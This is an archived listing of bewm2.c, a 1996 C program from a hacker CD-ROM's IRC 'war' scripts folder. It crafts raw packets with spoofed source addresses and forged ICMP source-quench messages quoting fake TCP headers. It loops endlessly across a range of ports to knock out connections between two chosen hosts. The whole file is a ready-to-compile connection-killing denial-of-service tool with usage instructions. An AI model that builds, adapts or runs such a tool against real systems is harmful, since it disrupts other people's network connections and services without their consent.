home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / bewm2.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  7KB  |  193 lines

  1. #include <sys/types.h>
  2. #include <sys/socket.h>
  3. #include <sys/signal.h>
  4. #include <netinet/in_systm.h>
  5. #include <netinet/in.h>
  6. #include <netinet/ip.h>
  7. #include <netinet/tcp.h>
  8. #include <netinet/ip_icmp.h>
  9. #include <netdb.h>
  10.  
  11. #define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr) + 16)
  12. #define ICMPSIZE   (sizeof(struct icmphdr) + sizeof(struct iphdr) + 16)
  13. #define offsetTCP  (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr))
  14. #define offsetIP   (sizeof(struct iphdr) + sizeof(struct icmphdr))
  15. #define offsetICMP (sizeof(struct iphdr))
  16. #define offsetRIP  (0)
  17.  
  18. static int thecode;
  19. int s = 0;
  20.  
  21. u_short cksum( u_short *, int );
  22.  
  23. void sendkill( char *, int, char *, int );
  24.  
  25. u_short cksum( u_short *buf, int nwords ) {
  26.  unsigned long sum;
  27.  
  28.  for ( sum = 0; nwords > 0; nwords -- )
  29.   sum += *buf++;
  30.   sum = (sum >> 16) + (sum & 0xffff);
  31.   sum += (sum >> 16);
  32.   return ~sum;
  33. }
  34.  
  35. void resolve_address(struct sockaddr * addr, char *hostname, u_short port) {
  36.  struct  sockaddr_in *address;
  37.  struct  hostent     *host;
  38.  address = (struct sockaddr_in *)addr;
  39.  (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  40.  /* fill in the easy fields */ 
  41.  address->sin_family = AF_INET;
  42.  address->sin_port = htons(port);
  43.  /* first, check if the address is an ip address */
  44.  address->sin_addr.s_addr = inet_addr(hostname);
  45.  if ( (int)address->sin_addr.s_addr == -1) {
  46.   /* it wasn't.. so we try it as a long host name */
  47.   host = gethostbyname(hostname);
  48.   if (host) {
  49.    /* wow.  It's a host name.. set the fields */
  50.    /* ?? address->sin_family = host->h_addrtype; */
  51.    bcopy( host->h_addr, (char *)&address->sin_addr,
  52.    host->h_length);
  53.   }
  54.   else {
  55.    /* oops.. can't find it.. */
  56.    puts("Couldn't resolve address!!!");
  57.    exit(-1);
  58. }}}
  59.  
  60. void sendkill( char * fromhost, int fromport, char * tohost, int toport ) {
  61.  char *packet;
  62.  static struct sockaddr_in local, remote;
  63.  static int sock = 0;
  64.  if ( !sock ) {
  65.   resolve_address( (struct sockaddr *)&local, fromhost, fromport );
  66.   resolve_address( (struct sockaddr *)&remote, tohost, toport );
  67.   sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  68.   if ( sock == -1 ) {
  69.    perror("Getting raw socket");
  70.    exit(-1);
  71. }}
  72. /* Get memory for the packet */
  73. packet = (char *)malloc( PACKETSIZE );
  74. if ( !packet ) {
  75.  perror("Getting space for packet");
  76.  exit(-1);
  77. }
  78. /* Fill in our pretended TCP header note - since this was allegedly an 
  79.  * outgoing packet...  we have to flip the source and destination stuff
  80.  */
  81. {
  82. struct tcphdr * fake_tcp;
  83. fake_tcp = ( struct tcphdr *)( packet + offsetTCP );
  84. fake_tcp->th_dport = htons(fromport);
  85. fake_tcp->th_sport = htons(toport);
  86. fake_tcp->th_seq = 0x1984;
  87. }
  88. /*
  89.  * fill in the fake IP header the same reversal as above still applies.. 
  90.  * the packet was sent to our machine ( yeah right )
  91.  */
  92. {
  93. struct iphdr * fake_ip;
  94. fake_ip = ( struct iphdr *) ( packet + offsetIP );
  95.  
  96. /* these fields are irrelevant -- never checked?? */
  97. fake_ip->version = 4;
  98. fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */
  99. fake_ip->tos = 0;
  100. fake_ip->id = htons( getpid() & 255 );
  101. fake_ip->frag_off = 0;
  102. fake_ip->ttl = 1; /* not so long to live anymore ***changed*** */
  103. fake_ip->check = 31337;  /* this CAN'T be checked..so do something != 0 */
  104.  
  105. /* these fields are used ..  */
  106. fake_ip->ihl = 5;
  107. bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) );
  108. bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) );
  109. fake_ip->protocol = 6;  /* a TCP packet */
  110. }
  111.  
  112. /* fill in the ICMP header this is actally rather trivial, though don't 
  113.  * forget the checksum
  114.  */
  115. {
  116. struct icmphdr * icmp;
  117. icmp = ( struct icmphdr *)(packet + offsetICMP );
  118. icmp->type = 4;
  119. icmp->code = thecode; /* this will generate an error message */
  120. icmp->un.gateway = 0;
  121. icmp->checksum = 0;
  122. icmp->checksum = cksum( (u_short *)(icmp),  ICMPSIZE >> 1 );
  123. }
  124. /* finally, fill in the IP header this is almost the same as above though 
  125.  * this time, it is the ip header that really takes the packet places. make 
  126.  * sure the checksum and addresses are right
  127.  */
  128. {
  129. struct iphdr * real_ip;
  130. real_ip = ( struct iphdr *)packet;
  131. real_ip->version = 4;
  132. real_ip->ihl = 5;
  133. real_ip->tot_len = htons(PACKETSIZE);
  134. real_ip->tos = ( 7 << 5) | 4;
  135. real_ip->ttl = 255;
  136. real_ip->protocol = 1;
  137. real_ip->check = 0;
  138. real_ip->id = htons( 3 );
  139. real_ip->frag_off = 0;
  140. bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) );
  141. bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) );
  142. real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L  );
  143. real_ip->check = cksum( (u_short  *)packet, sizeof( struct iphdr ) >> 1 );
  144. }
  145. /* and now finally send it out into the net */
  146. {
  147. int result;
  148. result = sendto( sock, packet, PACKETSIZE, 0, (struct sockaddr *)&remote, sizeof( remote ) );
  149. if ( result != PACKETSIZE ) {
  150.  perror("sending packet" );
  151. }}}
  152.  
  153. void finish() {
  154. (void)signal(SIGINT, SIG_IGN);
  155. (void)putchar('\n');
  156. (void)printf("\033[32m-\033[m\033[2m-\033[m\033[32m- \033[m\033[2mb\033[m\033[32mEWm \033[m\033[2ms\033[m\033[32mTATISTICs -\033[m\033[2m-\033[m\033[32m-\033[m\n"); 
  157. (void)printf("\033[2mp\033[m\033[32mACKETs \033[m\033[2ms\033[m\033[32mENt: \033[m\033[2m%d\033[m\n", s); 
  158. (void)putchar('\n'); exit(0); }
  159.  
  160. main(int argc, char ** argv) {
  161.  int codes,i;
  162.  
  163.  puts("\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\0
  164. 33[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\0
  165. 33[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[m\033[32m=\033[m\033[2m=\033[m");
  166.  puts("\033[2mb\033[m\033[32mEWm");
  167.  puts("\033[2mW\033[m\033[32mritten by Rza");
  168.  puts("\033[m\033[2mv\033[m\033[32mEr 1.0");
  169.  puts("\033[2mT\033[m\033[32mue Jun 11 06:54:07 EDT 1996");
  170.  puts("\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\0
  171. 33[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\0
  172. 33[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[32m=\033[m\033[2m=\033[m\033[m\033[32m=\033[m\033[2m=\033[m");
  173.  
  174.  if (argc != 7) {
  175.   puts("\033[32mSYNTAX\033[m\033[2m: <\033[m\033[32msrcaddress\033[m\033[2m> <\033[m\033[32msrcport\033[m\033[2m> <\033[m\033[32mdestaddress\033[m\033[2m> <\033[m\033[32mdestportlow\033[m\033[2m> <\033[m\033[32mdestporthigh\033[m\033[2m> <\033[m\033[32mic
  176. mp\033[m\033[2m>\033[m");
  177.   exit(-1);
  178.  }
  179.  
  180.  thecode = atoi(argv[6]);
  181.  
  182. sendloop:
  183. for( i = atoi(argv[4]) ; i <= atoi(argv[5]) ; i++) {
  184.  s++;
  185.  printf("\033[2m%d\033[m\033[32m bytes from \033[m\033[2m%s\033[m\033[32m:\033[m\033[2m%d\033[m\033[32m to \033[m\033[2m%s\033[m\033[32m:\033[m\033[2m%d\033[m\n",PACKETSIZE+ICMPSIZE,argv[1],atoi(argv[2]),argv[3],i);
  186.  sendkill(argv[1], atoi(argv[2]), argv[3], i);
  187.  usleep(300000);
  188.  (void)signal(SIGINT, finish);
  189.  }
  190. goto sendloop;
  191. }
  192.  
  193.